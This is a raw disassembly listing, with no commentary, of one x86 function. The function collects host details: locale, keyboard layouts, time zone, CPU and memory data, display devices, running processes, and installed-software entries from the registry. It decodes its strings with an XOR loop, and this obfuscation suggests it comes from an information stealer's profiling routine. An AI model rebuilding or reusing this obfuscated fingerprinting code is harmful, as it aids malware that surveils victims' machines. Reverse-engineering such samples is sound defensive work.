call fcn.00402a50
push dword [ebp - 0x2ac]
or edi, 0x80000000
lea eax, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
push dword [ebp - 0x2b0]
cmovae eax, dword [ebp - 0x70]
push eax
push esi
mov dword [ebp - 0x14], edi
call fcn.00402f10
add esp, 0x10
lea ecx, [ebp - 0x70]
call fcn.004029b0
push 0x400
lea eax, [ebp - 0x1400]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x1400]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
movaps xmm0, xmmword [0x545c30]
xor ecx, ecx
test eax, eax
je 0x40f8cb
movups xmmword [ebp - 0x98], xmm0
movaps xmm0, xmmword [0x542ca0]
movups xmmword [ebp - 0x88], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x98], al
inc ecx
cmp ecx, 0x17
jb 0x40f880
lea eax, [ebp - 0x98]
mov dword [0x55856c], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x81], 0
call fcn.00402a50
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0x1400]
lea eax, [ebp - 0x70]
cmovae eax, dword [ebp - 0x70]
push ecx
push eax
push esi
call fcn.00402f10
add esp, 0xc
jmp 0x40f932
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x8c], 0x90a8dcc1
movaps xmm0, xmmword [0x542cd0]
movups xmmword [ebp - 0x88], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x9c], al
inc ecx
cmp ecx, 0x1b
jb 0x40f8f0
lea eax, [ebp - 0x9c]
mov dword [0x5585c8], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x81], 0
call fcn.00402a50
cmp dword [ebp - 0x5c], 0x10
lea eax, [ebp - 0x70]
cmovae eax, dword [ebp - 0x70]
push eax
push esi
call fcn.00402f10
add esp, 8
lea ecx, [ebp - 0x70]
call fcn.004029b0
movaps xmm0, xmmword [0x5459d0]
xor ecx, ecx
movups xmmword [ebp - 0x95], xmm0
mov dword [ebp - 0x85], 0xdec78f9e
xorps xmm0, xmm0
mov byte [ebp - 0x79], 0
movq qword [ebp - 0x81], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x95], al
inc ecx
cmp ecx, 0x14
jb 0x40f963
lea eax, [ebp - 0x95]
mov dword [0x5584f0], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x81], 0
call fcn.00402a50
cmp dword [ebp - 0x5c], 0x10
lea eax, [ebp - 0x70]
cmovae eax, dword [ebp - 0x70]
push eax
push esi
call fcn.00402f10
add esp, 8
lea ecx, [ebp - 0x70]
call fcn.004029b0
push 0x200
lea eax, [ebp - 0x1000]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
push 0
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
mov dword [ebp - 0x50], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x48], eax
test eax, eax
je 0x40fadb
push eax
push dword [ebp - 0x50]
call dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
xor esi, esi
mov dword [ebp - 0x50], eax
test eax, eax
je 0x40facf
mov edi, dword [ebp - 0x54]
nop word [eax + eax]
push 0x200
lea eax, [ebp - 0x1000]
push eax
mov eax, dword [ebp - 0x48]
push 2
movzx eax, word [eax + esi*4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x40fa42
lea eax, [ebp - 0x1000]
push eax
push edi
call fcn.00402f10
add esp, 8
jmp 0x40faac
xorps xmm0, xmm0
mov dword [ebp - 0x23], 0xcbcdc3cb
mov byte [ebp - 0x1f], 0x9c
xor ecx, ecx
movq qword [ebp - 0x1e], xmm0
mov byte [ebp - 0x16], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 5
jb 0x40fa60
lea eax, [ebp - 0x23]
mov dword [0x5584f4], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x1e], 0
call fcn.00402a50
or dword [ebp - 0x14], 0x8000000
lea ecx, [ebp - 0x70]
call fcn.00402af0
lea ecx, [ebp - 0x1000]
push ecx
push eax
push edi
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0x70]
call fcn.004029b0
push 0x200
lea eax, [ebp - 0x1000]
push 0
push eax
call fcn.004f9bf0
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0x50]
jb 0x40fa10
mov edi, dword [ebp - 0x14]
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [ebp - 0x54]
lea eax, [ebp - 0x1a4]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x1a4], xmm0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movaps xmm0, xmmword [0x545a60]
xor ecx, ecx
movups xmmword [ebp - 0xa2], xmm0
mov byte [ebp - 0x82], 1
movaps xmm0, xmmword [0x544480]
movups xmmword [ebp - 0x92], xmm0
mov byte [ebp - 0x79], 0
xorps xmm0, xmm0
movq qword [ebp - 0x81], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xa2], al
inc ecx
cmp ecx, 0x21
jb 0x40fb30
lea eax, [ebp - 0xa2]
mov dword [0x558528], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x81], 0
call fcn.00402a50
lea ecx, [ebp - 0x70]
or edi, 0x40000
call fcn.00402af0
movzx ecx, word [ebp - 0x198]
mov edx, eax
movzx eax, word [ebp - 0x19e]
push ecx
movzx ecx, word [ebp - 0x19a]
push ecx
movzx ecx, word [ebp - 0x19c]
push ecx
movzx ecx, word [ebp - 0x1a4]
push ecx
movzx ecx, word [ebp - 0x1a2]
push ecx
push eax
push edx
push esi
call fcn.00402f10
add esp, 0x20
lea ecx, [ebp - 0x70]
call fcn.004029b0
lea eax, [ebp - 0x2a8]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x2a8], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0x5c0]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x5c0]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea eax, [ebp - 0x31c]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x2a8]
push eax
lea eax, [ebp - 0x5c0]
push eax
movups xmmword [ebp - 0x31c], xmm0
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
movd xmm0, dword [ebp - 0x5c0]
xor ecx, ecx
cvtdq2ps xmm0, xmm0
mov byte [ebp - 0xdf], 0xf1
mov byte [ebp - 0xd6], 0
divss xmm0, dword [0x542c40]
xorps xmm0, xmmword [0x544fa0]
movss dword [ebp - 0x50], xmm0
movaps xmm0, xmmword [0x545f70]
movups xmmword [ebp - 0xef], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0xde], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xef], al
inc ecx
cmp ecx, 0x11
jb 0x40fc60
lea eax, [ebp - 0xef]
mov dword [0x5585e4], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0xde], 0
call fcn.00402a50
lea ecx, [ebp - 0x70]
or edi, 0x100000
call fcn.00402af0
cvttss2si ecx, dword [ebp - 0x50]
push ecx
push eax
push esi
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0x70]
call fcn.004029b0
movaps xmm0, xmmword [0x5442b0]
xor ecx, ecx
mov dword [ebp - 0x2c], 0xa6b6e6e6
mov word [ebp - 0x28], 0x828e
mov byte [ebp - 0x26], 0x95
movups xmmword [ebp - 0x25], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 0xe
jb 0x40fcd1
lea eax, [ebp - 0x2c]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x1e], 0
call fcn.00402a50
lea ecx, [ebp - 0x70]
or edi, 0x20000
call fcn.00402af0
push eax
push esi
call fcn.00402f10
add esp, 8
lea ecx, [ebp - 0x70]
call fcn.004029b0
movaps xmm0, xmmword [0x545ce0]
xor ecx, ecx
movups xmmword [ebp - 0xaf], xmm0
mov dword [ebp - 0xfc], 0
movaps xmm0, xmmword [0x544f00]
movups xmmword [ebp - 0x9f], xmm0
mov dword [ebp - 0x8f], 0x5e616d79
movaps xmm0, xmmword [str.w_gzdK_]
mov word [ebp - 0x8b], 0x7f7d
mov byte [ebp - 0x89], 0x72
movups xmmword [ebp - 0x88], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xaf], al
inc ecx
cmp ecx, 0x2e
jb 0x40fd65
lea eax, [ebp - 0xaf]
mov dword [0x558578], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x81], 0
call fcn.00402a50
lea ecx, [ebp - 0x70]
or edi, 0x200000
call fcn.00402af0
lea ecx, [ebp - 0xfc]
push ecx
push 0x20019
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x70]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x40fee8
movaps xmm0, xmmword [0x545010]
xor ecx, ecx
movups xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x74], 0x20019
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0x400
mov word [ebp - 0x84], 0x9292
mov byte [ebp - 0x82], 0x9a
movq qword [ebp - 0x81], xmm0
mov byte [ebp - 0x79], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0x13
jb 0x40fe10
lea eax, [ebp - 0x94]
mov dword [0x558558], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x81], 0
call fcn.00402a50
lea ecx, [ebp - 0x70]
or edi, 0x2000000
call fcn.00402af0
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0xae8]
push ecx
lea ecx, [ebp - 0x74]
push ecx
push 0
push eax
push dword [ebp - 0xfc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x70]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x40fedc
movaps xmm0, xmmword [0x5442c0]
xor ecx, ecx
mov dword [ebp - 0x44], 0x8d829ebb
mov dword [ebp - 0x40], 0x9d82838a
movups xmmword [ebp - 0x3c], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 0xf
jb 0x40fe92
lea eax, [ebp - 0x44]
mov dword [0x558508], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x35], 0
call fcn.00402a50
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0xae8]
lea eax, [ebp - 0x70]
cmovae eax, dword [ebp - 0x70]
push ecx
push eax
push dword [ebp - 0x54]
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0x70]
call fcn.004029b0
push dword [ebp - 0xfc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [ebp - 0x2d4], 0
lea eax, [ebp - 0x2f4]
push eax
movups xmmword [ebp - 0x2f4], xmm0
movups xmmword [ebp - 0x2e4], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movaps xmm0, xmmword [0x5442f0]
xor ecx, ecx
mov dword [ebp - 0x44], 0xceb8bca8
mov dword [ebp - 0x40], 0x9c849fac
movups xmmword [ebp - 0x3c], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 0xf
jb 0x40ff30
lea eax, [ebp - 0x44]
mov dword [0x558508], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x35], 0
call fcn.00402a50
or edi, 0x80000
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x14], edi
call fcn.00402af0
push dword [ebp - 0x2e0]
mov esi, dword [ebp - 0x54]
push eax
push esi
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0x70]
call fcn.004029b0
lea eax, [ebp - 0x3c0]
mov dword [ebp - 0x3c0], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x41000f
movaps xmm0, xmmword [0x544390]
xor ecx, ecx
mov dword [ebp - 0x2a], 0xd4a0adb9
mov byte [ebp - 0x26], 0xcf
movups xmmword [ebp - 0x25], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x2a], al
inc ecx
cmp ecx, 0xc
jb 0x40ffb3
lea eax, [ebp - 0x2a]
mov dword [0x5584d8], ecx
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 0x1e], 0
call fcn.00402a50
or edi, 0x4000000
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x14], edi
call fcn.00402af0
mov edx, dword [ebp - 0x3b8]
mov ecx, dword [ebp - 0x3b4]
shrd edx, ecx, 0x14
shr ecx, 0x14
push ecx
push edx
push eax
push esi
call fcn.00402f10
add esp, 0x10
lea ecx, [ebp - 0x70]
call fcn.004029b0
lea ecx, [ebp - 0x154]
call fcn.0047e940
lea ecx, [ebp - 0x154]
mov byte [ebp - 4], 0x2d
call fcn.0047e7a0
push 0x1a4
lea eax, [ebp - 0x88c]
mov dword [ebp - 0x78], 0
push 0
push eax
mov dword [ebp - 0x890], 0x1a8
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x890]
push 1
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x41022c
nop dword [eax + eax]
mov edi, dword [ebp - 0x150]
xor ecx, ecx
mov dword [ebp - 0x48], ecx
mov eax, 0x2aaaaaab
mov ecx, edi
sub ecx, dword [ebp - 0x154]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x410102
xor esi, esi
nop dword [eax + eax]
lea eax, [ebp - 0x86c]
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00402a50
mov ecx, dword [ebp - 0x154]
add ecx, esi
push eax
call fcn.00487330
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 0x15], al
call fcn.004029b0
cmp byte [ebp - 0x15], 0
jne 0x4101e5
mov edi, dword [ebp - 0x150]
mov eax, 0x2aaaaaab
inc dword [ebp - 0x48]
mov ecx, edi
sub ecx, dword [ebp - 0x154]
add esi, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x48], eax
jb 0x4100a0
sub edi, dword [ebp - 0x154]
mov eax, 0x2aaaaaab
movaps xmm0, xmmword [0x545f50]
imul edi
movups xmmword [ebp - 0x94], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0x81], xmm0
mov word [ebp - 0x84], 0xf188
sar edx, 2
mov esi, edx
mov byte [ebp - 0x82], 0xf7
shr esi, 0x1f
add esi, edx
mov byte [ebp - 0x79], 0
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0x13
jb 0x410150
lea eax, [ebp - 0x94]
mov dword [0x558558], ecx
push eax
lea ecx, [ebp - 0x148]
mov byte [ebp - 0x81], 0
call fcn.00402a50
or dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x148]
call fcn.00402af0
lea ecx, [ebp - 0x86c]
push ecx
push esi
push eax
push dword [ebp - 0x54]
call fcn.00402f10
add esp, 0x10
lea ecx, [ebp - 0x148]
call fcn.004029b0
lea eax, [ebp - 0x86c]
push eax
lea ecx, [ebp - 0x18c]
call fcn.00402a50
lea eax, [ebp - 0x18c]
mov byte [ebp - 4], 0x2e
push eax
lea ecx, [ebp - 0x154]
call fcn.00484f10
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0x2d
call fcn.004029b0
mov esi, dword [ebp - 0x78]
lea eax, [ebp - 0x88c]
push 0x1a4
push 0
inc esi
mov dword [ebp - 0x890], 0x1a8
push eax
mov dword [ebp - 0x78], esi
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x890]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x410070
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x54]
movaps xmm0, xmmword [0x544300]
xor ecx, ecx
mov dword [ebp - 0x44], 0xbeb6e6e6
mov dword [ebp - 0x40], 0x97929f9d
movups xmmword [ebp - 0x3c], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 0xf
jb 0x410247
lea eax, [ebp - 0x44]
mov dword [0x558508], ecx
push eax
lea ecx, [ebp - 0x148]
mov byte [ebp - 0x35], 0
call fcn.00402a50
or edi, 0x1000
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x14], edi
call fcn.00402af0
push eax
push esi
call fcn.00402f10
add esp, 8
lea ecx, [ebp - 0x148]
call fcn.004029b0
push 0
push 2
mov dword [ebp - 0x6e8], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x410378
lea eax, [ebp - 0x6e8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x410371
lea eax, [ebp - 0x6e8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x410371
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
nop word [eax + eax]
movaps xmm0, xmmword [0x544350]
xor ecx, ecx
mov word [ebp - 0x27], 0x9fce
movups xmmword [ebp - 0x25], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 9
jb 0x410303
lea eax, [ebp - 0x27]
mov dword [0x5585e0], ecx
push eax
lea ecx, [ebp - 0x148]
mov byte [ebp - 0x1e], 0
call fcn.00402a50
or dword [ebp - 0x14], 0x200
lea ecx, [ebp - 0x148]
call fcn.00402af0
push dword [ebp - 0x6e0]
lea ecx, [ebp - 0x6c4]
push ecx
push eax
push dword [ebp - 0x54]
call fcn.00402f10
add esp, 0x10
lea ecx, [ebp - 0x148]
call fcn.004029b0
lea eax, [ebp - 0x6e8]
push eax
push esi
call edi
test eax, eax
jne 0x4102f0
mov edi, dword [ebp - 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm0, xmmword [0x5442b0]
xor ecx, ecx
mov dword [ebp - 0x2c], 0xbdb6e6e6
mov word [ebp - 0x28], 0x9680
mov byte [ebp - 0x26], 0x85
movups xmmword [ebp - 0x25], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 0xe
jb 0x410396
lea eax, [ebp - 0x2c]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0x148]
mov byte [ebp - 0x1e], 0
call fcn.00402a50
lea ecx, [ebp - 0x148]
or edi, 0x2000
call fcn.00402af0
mov esi, dword [ebp - 0x54]
push eax
push esi
call fcn.00402f10
add esp, 8
lea ecx, [ebp - 0x148]
call fcn.004029b0
movaps xmm0, xmmword [0x5455c0]
xor ecx, ecx
movups xmmword [ebp - 0xb4], xmm0
mov word [ebp - 0x84], 0x707a
movaps xmm0, xmmword [0x544da0]
movups xmmword [ebp - 0xa4], xmm0
mov byte [ebp - 0x82], 0x71
movaps xmm0, xmmword [0x544d20]
movups xmmword [ebp - 0x94], xmm0
mov byte [ebp - 0x79], 0
xorps xmm0, xmm0
movq qword [ebp - 0x81], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xb4], al
inc ecx
cmp ecx, 0x33
jb 0x410431
lea eax, [ebp - 0xb4]
mov dword [0x5585a0], ecx
push eax
lea ecx, [ebp - 0x148]
mov byte [ebp - 0x81], 0
call fcn.00402a50
or edi, 0x800
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x14], edi
call fcn.00402af0
mov edi, eax
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x4c], edi
call fcn.004029b0
lea eax, [ebp - 0x100]
mov dword [ebp - 0x100], 0
push eax
push 0x20019
push 0
push edi
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x410786
xor edi, edi
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], 0x400
push eax
lea eax, [ebp - 0xae8]
push eax
push edi
push dword [ebp - 0x100]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x50], eax
test eax, eax
jne 0x410771
xorps xmm0, xmm0
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x23], 0xcbb19fce
xor ecx, ecx
mov byte [ebp - 0x1f], 0x9c
movq qword [ebp - 0x1e], xmm0
mov byte [ebp - 0x16], al
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 5
jb 0x410500
lea eax, [ebp - 0x23]
mov dword [0x5584f4], ecx
push eax
lea ecx, [ebp - 0x18c]
mov byte [ebp - 0x1e], 0
call fcn.00402a50
or dword [ebp - 0x14], 0x400
lea ecx, [ebp - 0x18c]
call fcn.00402af0
lea ecx, [ebp - 0xae8]
push ecx
push dword [ebp - 0x4c]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x18c]
call fcn.004029b0
lea eax, [ebp - 0x48]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1800]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41076e
movaps xmm0, xmmword [0x543820]
xor ecx, ecx
mov dword [ebp - 0x74], 0xf003f
mov dword [ebp - 0x54], 0x400
mov dword [ebp - 0xc8], 0x9e9e85af
movups xmmword [ebp - 0xc4], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xc8], al
inc ecx
cmp ecx, 0xb
jb 0x4105b0
lea eax, [ebp - 0xc8]
mov dword [0x5584e0], ecx
push eax
lea ecx, [ebp - 0x214]
mov byte [ebp - 0xbd], 0
call fcn.00402a50
mov eax, dword [ebp - 0x14]
or eax, 0x4000
or eax, 4
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x78], eax
call fcn.00402af0
lea ecx, [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x2000]
push ecx
lea ecx, [ebp - 0x74]
push ecx
push 0
push eax
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41069c
movaps xmm0, xmmword [0x543a70]
xor ecx, ecx
mov dword [ebp - 0x43], 0x9e9e85af
mov word [ebp - 0x3f], 0x9183
mov byte [ebp - 0x3d], 0x88
movups xmmword [ebp - 0x3c], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x43], al
inc ecx
cmp ecx, 0xe
jb 0x410640
lea eax, [ebp - 0x43]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0x18c]
mov byte [ebp - 0x35], 0
call fcn.00402a50
or dword [ebp - 0x14], 0x10008
lea ecx, [ebp - 0x18c]
call fcn.00402af0
lea ecx, [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x1c00]
push ecx
lea ecx, [ebp - 0x74]
push ecx
push 0
push eax
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov byte [ebp - 0x15], 1
test eax, eax
je 0x4106a0
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x14]
test al, 8
je 0x4106bb
and eax, 0xfffffff7
lea ecx, [ebp - 0x18c]
mov dword [ebp - 0x14], eax
call fcn.004029b0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x2d
test al, 4
je 0x4106d7
and eax, 0xfffffffb
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x14], eax
call fcn.004029b0
cmp byte [ebp - 0x15], 0
je 0x410765
movaps xmm0, xmmword [0x544340]
xor ecx, ecx
mov word [ebp - 0xc6], 0x9fce
movups xmmword [ebp - 0xc4], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xc6], al
inc ecx
cmp ecx, 9
jb 0x410700
lea eax, [ebp - 0xc6]
mov dword [0x5585e0], ecx
push eax
lea ecx, [ebp - 0x18c]
mov byte [ebp - 0xbd], 0
call fcn.00402a50
or dword [ebp - 0x14], 0x8000
lea ecx, [ebp - 0x18c]
call fcn.00402af0
lea ecx, [ebp - 0x1c00]
push ecx
lea ecx, [ebp - 0x2000]
push ecx
push eax
push esi
call fcn.00402f10
add esp, 0x10
lea ecx, [ebp - 0x18c]
call fcn.004029b0
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x50]
inc edi
test eax, eax
je 0x4104b3
push dword [ebp - 0x100]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.005012e8
add esp, 4
lea ecx, [ebp - 0x154]
call fcn.00481d80
lea ecx, [ebp - 0x244]
call fcn.004029b0
lea ecx, [ebp - 0x1c8]
call fcn.004029b0
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 4], 6
call fcn.004029b0
sub esp, 0x18
mov byte [ebp - 0x15], 1
mov esi, esp
lea eax, [ebp - 0x298]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0047faa0
mov ecx, esi
call fcn.0040be30
mov dl, byte [ebp - 0x15]
lea ecx, [ebp - 0x25c]
add esp, 0x18
call fcn.0040d830
add esp, 0x18
mov byte [ebp - 4], 0x30
xorps xmm0, xmm0
mov word [ebp - 0xd3], 0x8e9c
xor ecx, ecx
movq qword [ebp - 0xd1], xmm0
mov byte [ebp - 0xc9], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xd3], al
inc ecx
cmp ecx, 2
jb 0x410815
lea eax, [ebp - 0xd3]
mov dword [0x558548], ecx
push eax
lea ecx, [ebp - 0x148]
mov byte [ebp - 0xd1], 0
call fcn.00402a50
lea ecx, [ebp - 0x148]
call fcn.00402af0
lea ecx, [ebp - 0x298]
mov esi, eax
call fcn.00402af0
push esi
push eax
call fcn.004fda60
add esp, 8
lea ecx, [ebp - 0x148]
mov esi, eax
call fcn.004029b0
test esi, esi
je 0x4108a4
cmp dword [ebp - 0x248], 0x10
lea ecx, [ebp - 0x25c]
push esi
push dword [ebp - 0x24c]
cmovae ecx, dword [ebp - 0x25c]
push 1
push ecx
call fcn.00505868
push esi
call fcn.005012e8
add esp, 0x14
lea ecx, [ebp - 0x25c]
call fcn.004029b0
lea ecx, [ebp - 0x298]
call fcn.004029b0
lea ecx, [ebx + 8]
call fcn.004029b0
lea ecx, [ebx + 0x20]
call fcn.004029b0
lea ecx, [ebx + 0x38]
call fcn.004029b0
lea ecx, [ebx + 0x50]
call fcn.004029b0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret